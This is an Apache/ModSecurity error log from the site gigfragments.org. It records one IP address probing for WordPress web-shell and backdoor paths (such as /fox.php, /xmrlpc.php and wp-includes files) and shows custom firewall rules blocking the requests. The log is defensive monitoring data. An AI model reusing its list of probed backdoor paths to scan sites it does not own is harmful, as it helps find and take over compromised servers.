[Thu Feb 26 22:22:02.048654 2026] [:error] [pid 55618:tid 55642] [client 20.151.107.14:63552] [client 20.151.107.14] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "45.132.115.219_120d9ef8cfede712794f5a4a576234b35e72caa4"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/admin/admin.php"] [unique_id "aaBXBx61Vrh12f_8oWQUDQAAARU"]
[Thu Feb 26 22:22:02.375099 2026] [:error] [pid 55051:tid 55068] [client 20.151.107.14:64240] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaBXCgmK1w2kZvh5eLHNRwAAAI4"]
[Thu Feb 26 22:22:04.468430 2026] [:error] [pid 20419:tid 20446] [client 20.151.107.14:64176] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/file.php"] [unique_id "aaBXDO3DVDvMfTYYUBVnSgAAAdg"]
[Thu Feb 26 22:22:05.041453 2026] [:error] [pid 55122:tid 55126] [client 20.151.107.14:64142] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/file.php"] [unique_id "aaBXDYLiR0OfjFxvcN81_gAAAMI"]
[Thu Feb 26 22:22:05.528604 2026] [:error] [pid 25311:tid 25331] [client 20.151.107.14:64249] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/file.php"] [unique_id "aaBXDdfdM__yZAgJFSvrPAAAAZE"]
[Thu Feb 26 22:22:06.151237 2026] [:error] [pid 55051:tid 55063] [client 20.151.107.14:64148] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/"] [unique_id "aaBXDgmK1w2kZvh5eLHNUQAAAIk"]
[Thu Feb 26 22:22:06.748952 2026] [:error] [pid 54991:tid 55023] [client 20.151.107.14:63513] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/"] [unique_id "aaBXDt4Zx-mJ8gbRB2j80QAAAEM"]
[Thu Feb 26 22:22:07.316778 2026] [:error] [pid 20419:tid 20430] [client 20.151.107.14:63576] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/"] [unique_id "aaBXD-3DVDvMfTYYUBVnTQAAAcg"]
[Thu Feb 26 22:22:07.907305 2026] [:error] [pid 55122:tid 55131] [client 20.151.107.14:63592] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/"] [unique_id "aaBXD4LiR0OfjFxvcN82AQAAAMc"]
[Thu Feb 26 22:22:08.343215 2026] [:error] [pid 55618:tid 55635] [client 20.151.107.14:64254] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaBXEB61Vrh12f_8oWQUEQAAAQ4"]
[Thu Feb 26 22:22:08.887580 2026] [:error] [pid 55051:tid 55065] [client 20.151.107.14:64224] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/"] [unique_id "aaBXEAmK1w2kZvh5eLHNWAAAAIs"]
[Thu Feb 26 22:22:09.536526 2026] [:error] [pid 25311:tid 25334] [client 20.151.107.14:64202] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/"] [unique_id "aaBXEdfdM__yZAgJFSvrQAAAAZQ"]
[Thu Feb 26 22:22:10.620267 2026] [:error] [pid 20419:tid 20428] [client 20.151.107.14:64210] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/"] [unique_id "aaBXEu3DVDvMfTYYUBVnWgAAAcY"]
[Thu Feb 26 22:22:11.615451 2026] [:error] [pid 25311:tid 25326] [client 20.151.107.14:63584] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/"] [unique_id "aaBXE9fdM__yZAgJFSvrRAAAAYw"]
[Thu Feb 26 22:22:12.452624 2026] [:error] [pid 25311:tid 25335] [client 20.151.107.14:63502] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akc.php"] [unique_id "aaBXFNfdM__yZAgJFSvrRQAAAZU"]
[Thu Feb 26 22:22:13.214921 2026] [:error] [pid 55051:tid 55057] [client 20.151.107.14:62916] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akc.php"] [unique_id "aaBXFQmK1w2kZvh5eLHNcQAAAIM"]
[Thu Feb 26 22:22:13.987431 2026] [:error] [pid 54991:tid 55029] [client 20.151.107.14:63492] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akc.php"] [unique_id "aaBXFd4Zx-mJ8gbRB2j83gAAAEk"]
[Thu Feb 26 22:22:14.594990 2026] [:error] [pid 3883:tid 3890] [client 20.151.107.14:62954] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akc.php"] [unique_id "aaBXFuA33x90V6yYHaj1dwAAAUQ"]
[Thu Feb 26 22:22:15.872532 2026] [:error] [pid 55122:tid 55148] [client 20.151.107.14:63509] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "aaBXF4LiR0OfjFxvcN82BQAAANg"]
[Thu Feb 26 22:22:17.296975 2026] [:error] [pid 55051:tid 55074] [client 20.151.107.14:62950] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "aaBXGQmK1w2kZvh5eLHNhgAAAJQ"]
[Thu Feb 26 22:22:18.745286 2026] [:error] [pid 20419:tid 20432] [client 20.151.107.14:63583] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "aaBXGu3DVDvMfTYYUBVnbQAAAco"]
[Thu Feb 26 22:22:22.065598 2026] [:error] [pid 54991:tid 55022] [client 20.151.107.14:63517] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaBXHt4Zx-mJ8gbRB2j8-QAAAEI"]
[Thu Feb 26 22:22:26.464695 2026] [:error] [pid 44444:tid 44471] [client 20.151.107.14:64139] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/about.php"] [unique_id "aaBXIm2sMNmj-yekUk1KgAAAAhU"]
[Thu Feb 26 22:22:31.924915 2026] [:error] [pid 25311:tid 25318] [client 20.151.107.14:62914] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aaBXJ9fdM__yZAgJFSvrXQAAAYQ"]
[Thu Feb 26 22:22:32.533041 2026] [:error] [pid 25311:tid 25337] [client 20.151.107.14:64129] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aaBXKNfdM__yZAgJFSvrXwAAAZc"]
[Thu Feb 26 22:22:33.118902 2026] [:error] [pid 20419:tid 20444] [client 20.151.107.14:64225] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aaBXKe3DVDvMfTYYUBVngQAAAdY"]
[Thu Feb 26 22:22:33.645929 2026] [:error] [pid 25311:tid 25329] [client 20.151.107.14:63614] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aaBXKdfdM__yZAgJFSvrYwAAAY8"]
[Thu Feb 26 22:22:34.086750 2026] [:error] [pid 20419:tid 20446] [client 20.151.107.14:62853] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aaBXKu3DVDvMfTYYUBVnhgAAAdg"]
[Thu Feb 26 22:22:34.781759 2026] [:error] [pid 55122:tid 55144] [client 20.151.107.14:63507] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aaBXKoLiR0OfjFxvcN82CwAAANQ"]
[Thu Feb 26 22:22:35.266409 2026] [:error] [pid 55051:tid 55070] [client 20.151.107.14:64154] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aaBXKwmK1w2kZvh5eLHNuwAAAJA"]
[Thu Feb 26 22:22:35.937135 2026] [:error] [pid 44444:tid 44452] [client 20.151.107.14:64171] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aaBXK22sMNmj-yekUk1KjgAAAgI"]
[Thu Feb 26 22:22:36.486246 2026] [:error] [pid 44444:tid 44455] [client 20.151.107.14:64130] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aaBXLG2sMNmj-yekUk1KkgAAAgU"]
[Thu Feb 26 22:22:37.225272 2026] [:error] [pid 44444:tid 44451] [client 20.151.107.14:64140] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fox.php"] [unique_id "aaBXLW2sMNmj-yekUk1KmAAAAgE"]
[Thu Feb 26 22:22:38.649717 2026] [:error] [pid 20419:tid 20424] [client 20.151.107.14:64197] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fox.php"] [unique_id "aaBXLu3DVDvMfTYYUBVnjQAAAcI"]
[Thu Feb 26 22:22:40.748895 2026] [:error] [pid 44444:tid 44467] [client 20.151.107.14:64199] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fox.php"] [unique_id "aaBXMG2sMNmj-yekUk1KrgAAAhE"]
[Thu Feb 26 22:22:42.520028 2026] [:error] [pid 55051:tid 55076] [client 20.151.107.14:62934] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fox.php"] [unique_id "aaBXMgmK1w2kZvh5eLHNwgAAAJY"]
[Thu Feb 26 22:22:43.593897 2026] [:error] [pid 44444:tid 44468] [client 20.151.107.14:63497] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/lv.php"] [unique_id "aaBXM22sMNmj-yekUk1KwwAAAhI"]
[Thu Feb 26 22:22:45.368299 2026] [:error] [pid 25311:tid 25326] [client 20.151.107.14:63541] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aaBXNdfdM__yZAgJFSvrawAAAYw"]
[Thu Feb 26 22:22:46.576788 2026] [:error] [pid 54991:tid 55041] [client 20.151.107.14:63613] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aaBXNt4Zx-mJ8gbRB2j9EwAAAFU"]
[Thu Feb 26 22:22:53.532108 2026] [:error] [pid 55051:tid 55060] [client 20.151.107.14:64184] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aaBXPQmK1w2kZvh5eLHN1wAAAIY"]
[Thu Feb 26 22:22:54.136905 2026] [:error] [pid 25311:tid 25332] [client 20.151.107.14:64214] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aaBXPtfdM__yZAgJFSvrbgAAAZI"]
[Thu Feb 26 22:22:54.646906 2026] [:error] [pid 25311:tid 25320] [client 20.151.107.14:63489] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/light/about.php"] [unique_id "aaBXPtfdM__yZAgJFSvrcAAAAYY"]
[Thu Feb 26 22:22:55.186234 2026] [:error] [pid 25311:tid 25322] [client 20.151.107.14:62971] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/light/about.php"] [unique_id "aaBXP9fdM__yZAgJFSvrcwAAAYg"]
[Thu Feb 26 22:22:55.626085 2026] [:error] [pid 25311:tid 25319] [client 20.151.107.14:62975] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/light/about.php"] [unique_id "aaBXP9fdM__yZAgJFSvrdQAAAYU"]
[Thu Feb 26 22:22:56.149756 2026] [:error] [pid 54991:tid 55021] [client 20.151.107.14:64242] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/light/about.php"] [unique_id "aaBXQN4Zx-mJ8gbRB2j9GgAAAEE"]
[Thu Feb 26 22:22:57.136872 2026] [:error] [pid 44444:tid 44472] [client 20.151.107.14:64187] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/help.php"] [unique_id "aaBXQW2sMNmj-yekUk1LEQAAAhY"]
[Thu Feb 26 22:22:57.624034 2026] [:error] [pid 20419:tid 20426] [client 20.151.107.14:63524] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/help.php"] [unique_id "aaBXQe3DVDvMfTYYUBVnrQAAAcQ"]
[Thu Feb 26 22:22:58.284835 2026] [:error] [pid 25311:tid 25330] [client 20.151.107.14:63558] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/help.php"] [unique_id "aaBXQtfdM__yZAgJFSvreAAAAZA"]
[Thu Feb 26 22:22:58.883195 2026] [:error] [pid 20419:tid 20441] [client 20.151.107.14:62937] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/help.php"] [unique_id "aaBXQu3DVDvMfTYYUBVnrgAAAdM"]
[Thu Feb 26 22:22:59.827285 2026] [:error] [pid 55122:tid 55141] [client 20.151.107.14:63566] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aaBXQ4LiR0OfjFxvcN82EQAAANE"]
[Thu Feb 26 22:23:00.359278 2026] [:error] [pid 55051:tid 55070] [client 20.151.107.14:63605] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aaBXRAmK1w2kZvh5eLHN4gAAAJA"]
[Thu Feb 26 22:23:01.758560 2026] [:error] [pid 44444:tid 44457] [client 20.151.107.14:63612] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aaBXRW2sMNmj-yekUk1LOAAAAgc"]
[Thu Feb 26 22:23:02.322169 2026] [:error] [pid 44444:tid 44463] [client 20.151.107.14:63562] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aaBXRm2sMNmj-yekUk1LPQAAAg0"]
[Thu Feb 26 22:23:02.817653 2026] [:error] [pid 20419:tid 20424] [client 20.151.107.14:63532] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/st.php"] [unique_id "aaBXRu3DVDvMfTYYUBVntAAAAcI"]
[Thu Feb 26 22:23:03.309289 2026] [:error] [pid 20419:tid 20436] [client 20.151.107.14:64141] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/st.php"] [unique_id "aaBXR-3DVDvMfTYYUBVntwAAAc4"]
[Thu Feb 26 22:23:03.843766 2026] [:error] [pid 55051:tid 55063] [client 20.151.107.14:64248] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/st.php"] [unique_id "aaBXRwmK1w2kZvh5eLHN5gAAAIk"]
